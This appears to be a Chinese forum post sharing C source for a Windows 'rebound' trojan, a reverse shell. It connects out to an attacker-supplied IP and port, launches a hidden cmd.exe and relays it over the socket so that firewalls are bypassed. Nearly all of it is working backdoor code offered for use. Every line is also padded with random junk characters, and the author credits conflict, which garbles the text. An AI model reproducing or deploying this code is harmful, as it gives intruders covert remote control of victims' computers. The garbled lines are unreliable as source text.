这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 @47MJzC
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/* ============================== $+)2CXQe5
Rebound port in Windows NT ]kx)/n-K
By wind,2006/7 jftoqK-
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===============================*/ FW(y#Fmqs
#include Gd1%6}<~
#include mw";l$Aq}
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#pragma comment(lib,"wsock32.lib") 8P.UB{QNe
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void OutputShell(); S',i
SOCKET sClient; Es6b~#
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; &Al9%W
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void main(int argc,char **argv) 6b4Kcl <i
{ o1='Fr
WSADATA stWsaData; +J30OT8
int nRet; l j*ELy
SOCKADDR_IN stSaiClient,stSaiServer; iJuh1+6:c9
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if(argc != 3) Ps5UX6\ .m
{ ~>zml1aJ6
printf("Useage:\n\rRebound DestIP DestPort\n"); _XIls*6AK
return; |2(z<b&y=
} 2j8^Z
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WSAStartup(MAKEWORD(2,2),&stWsaData); Gjq:-kX\
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); `X]TIMc:Ad
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stSaiClient.sin_family = AF_INET; ) \Mwv&k1
stSaiClient.sin_port = htons(0); K[Bq,nPo
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); pZp|F
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) XH&Fn+
{ 3>qUYxG8
printf("Bind Socket Failed!\n"); cGiS[-g
return; B4 5B`Ay
} Y\luz`v
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stSaiServer.sin_family = AF_INET; n-[J+DdB
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); mcAg,~"HB
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); w
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) b{qeu$G R
{ 2P`QS@v0a=
printf("Connect Error!"); =\.Oc+p4
return; %:oyHlz%
} c0jdZ#H
OutputShell(); [b-27\b
} peqoLeJI
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void OutputShell() *f|9A/*B3
{ TtEc~m
char szBuff[1024]; fI(u-z~,
SECURITY_ATTRIBUTES stSecurityAttributes; +N1oOcPC>C
OSVERSIONINFO stOsversionInfo; r(NfVQF
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; =ZM #_uW
STARTUPINFO stStartupInfo; 8$a4[s
char *szShell; <r]7xsr
PROCESS_INFORMATION stProcessInformation; 2f(5C*~
unsigned long lBytesRead; o8\@R
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); |g]TWKc*
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); G%~=hEK0
stSecurityAttributes.lpSecurityDescriptor = 0; .kh%66:
stSecurityAttributes.bInheritHandle = TRUE; B$qmXA)ze
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); bHE'R!*
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); rhY>aj
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); R)?b\VK2$
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <(W0N|1v
stStartupInfo.wShowWindow = SW_HIDE; yyZH1A
stStartupInfo.hStdInput = hReadPipe; v<iMlOEt
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; s#om
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GetVersionEx(&stOsversionInfo); ,\Gn
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switch(stOsversionInfo.dwPlatformId) b3}928!D-@
{ j eF1{ %
case 1: f'aQ T
szShell = "command.com"; ']^e,9=Q
break; G|FF
default: jq(3y|6,
szShell = "cmd.exe"; 5zG6V2
break; Vt{C80n&N
} !
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); epa)ctS9
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send(sClient,szMsg,77,0); eIc~J!?<&V
while(1) {H s""/sb
{ ;hR!j!3}
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); e'aKI]>a
if(lBytesRead) :0>wm@qCQ
{ v<bq1QG
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); `HU`=a&d
send(sClient,szBuff,lBytesRead,0); G?12?2
} pv039~Sud
else q]q(zUtU
{ jfF,:(P%W
lBytesRead=recv(sClient,szBuff,1024,0); +:1ay^YI
if(lBytesRead<=0) break; ~a m]G0
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); )l*H$8
} }/BwFB+(/
} 7r?O(0>
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return; LB%_FT5
}